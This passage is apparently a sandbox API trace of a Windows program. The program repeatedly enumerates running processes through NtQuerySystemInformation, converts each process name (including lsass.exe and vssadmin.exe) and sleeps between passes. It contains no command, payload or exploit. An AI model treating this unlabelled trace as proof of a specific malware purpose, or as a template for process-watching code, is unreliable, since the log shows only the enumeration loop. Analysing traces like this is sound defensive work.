RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0181.888] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0181.888] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0181.889] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0181.889] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0181.889] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e40 [0181.889] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0181.889] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0181.889] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0181.889] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0181.889] Sleep (dwMilliseconds=0x64) [0182.079] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0182.079] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.080] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0182.080] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.080] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0182.080] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.080] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0182.080] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.080] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0182.080] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.081] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0182.081] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.081] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0182.081] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.082] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0182.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.082] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0182.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.082] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0182.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.082] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0182.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.083] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0182.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.083] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0182.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.083] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0182.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.083] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0182.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.084] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0182.084] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.084] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0182.084] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.084] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0182.084] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.085] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0182.085] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.085] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0182.085] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.085] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x152f4) returned 0x33d60f0 [0182.085] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0182.086] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0182.086] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f04d0 [0182.086] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0182.086] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1e58 [0182.086] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0182.086] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1de0 [0182.086] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0182.086] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0182.086] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0182.086] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e70 [0182.086] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0182.086] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0182.086] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0182.086] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e40 [0182.086] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0182.086] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e28 [0182.086] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0182.086] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1de0 [0182.087] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0182.087] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e28 [0182.087] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.087] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0182.087] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.087] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0182.087] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0182.087] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f06c0 [0182.087] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.087] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0182.087] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.087] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0182.087] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.087] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0182.087] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.087] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0182.087] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.087] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0182.087] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.087] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0182.087] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.087] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0182.087] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.087] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0182.087] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.087] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0182.088] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.088] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0182.088] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0182.088] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0182.088] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.088] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0182.088] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0182.088] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0182.088] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0182.088] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1e70 [0182.088] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.088] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0182.088] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0182.088] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d1838 [0182.088] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0182.088] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cbf38 [0182.088] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0182.088] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d1838 [0182.088] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0182.088] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1e88 [0182.088] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0182.088] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e40 [0182.088] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0182.088] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0182.088] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0182.088] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1ab8 [0182.088] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0182.089] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d1838 [0182.089] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0182.089] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e40 [0182.089] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0182.089] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e70 [0182.089] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0182.089] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0182.089] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0182.089] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e58 [0182.089] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0182.089] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0182.089] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0182.089] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0182.089] Sleep (dwMilliseconds=0x64) [0182.260] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0182.260] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.260] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0182.260] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.260] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0182.260] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.261] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0182.261] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.261] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0182.261] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.261] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0182.261] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.261] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0182.261] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.261] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0182.261] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.262] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0182.262] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.262] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0182.262] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.262] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0182.262] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.262] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0182.262] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.263] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0182.263] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.263] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0182.263] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.263] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0182.263] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.264] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0182.264] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.264] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0182.264] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.264] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0182.264] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.265] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0182.265] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.265] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0182.265] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.265] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x152f4) returned 0x33d60f0 [0182.265] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0182.266] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0182.266] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f07c0 [0182.266] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0182.266] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1e10 [0182.266] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0182.266] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e70 [0182.266] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0182.266] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0182.266] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0182.266] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e58 [0182.266] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0182.266] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0182.266] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0182.266] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, 